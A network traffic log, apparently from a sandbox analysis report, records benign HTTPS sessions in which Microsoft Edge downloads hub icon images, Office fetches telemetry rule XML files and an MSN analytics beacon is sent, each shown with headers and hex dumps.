2024-11-20 17:57:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:49 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175749Z-1777c6cb754whff4hC1TEBcd6c00000008hg00000000hzz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:49 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49869	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:49 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:49 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:49 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4ee2e47e-001e-0023-6952-3b07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175749Z-185f5d8b95cf7qddhC1NYC66an0000000am000000000r57d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 17:57:49 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:49 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175749Z-185f5d8b95c9mqtvhC1NYCghtc0000000apg00000000d21c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49873	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:49 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:49 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:49 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 4d308786-a01e-0025-2863-3bf0b4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175749Z-1777c6cb754n67brhC1TEBcp9c0000000a10000000009psu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 17:57:49 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49874	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:49 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:50 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:49 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 65fddbfd-201e-0034-1675-3bc7af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175749Z-r1d97b99577mrt4rhC1TEBftkc000000092g00000000e08n Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 17:57:50 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49872	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:49 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:50 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:49 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 73ff8cdd-801e-0054-6b75-3b828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175749Z-1777c6cb7549j9hhhC1TEBzmcc00000009r000000000zy0t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 17:57:50 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49875	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:49 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:50 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:49 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 239bf17d-d01e-0021-1275-3b0536000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175749Z-r1d97b99577dd2gchC1TEBz5ys0000000920000000009ffp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 17:57:50 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49876	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:50 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:51 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 78b7ba4e-d01e-0003-6675-3b6b00000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175750Z-1777c6cb754gvvgfhC1TEBz4rg0000000a0000000000e3t0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 17:57:51 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:50 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175751Z-185f5d8b95cdcwrthC1NYCy5b80000000ahg00000000kr2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:50 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175751Z-185f5d8b95cwtv72hC1NYC141w0000000ag000000000fv12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49847	20.110.205.119	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	1175	OUT	GET /c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1
2024-11-20 17:57:51 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F4F88F636E6E4E9EBBDD3FA481D47ECA&RedC=c.msn.com&MXFR=28E93D09C21660CD09BC2834C3746145 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=28E93D09C21660CD09BC2834C3746145; 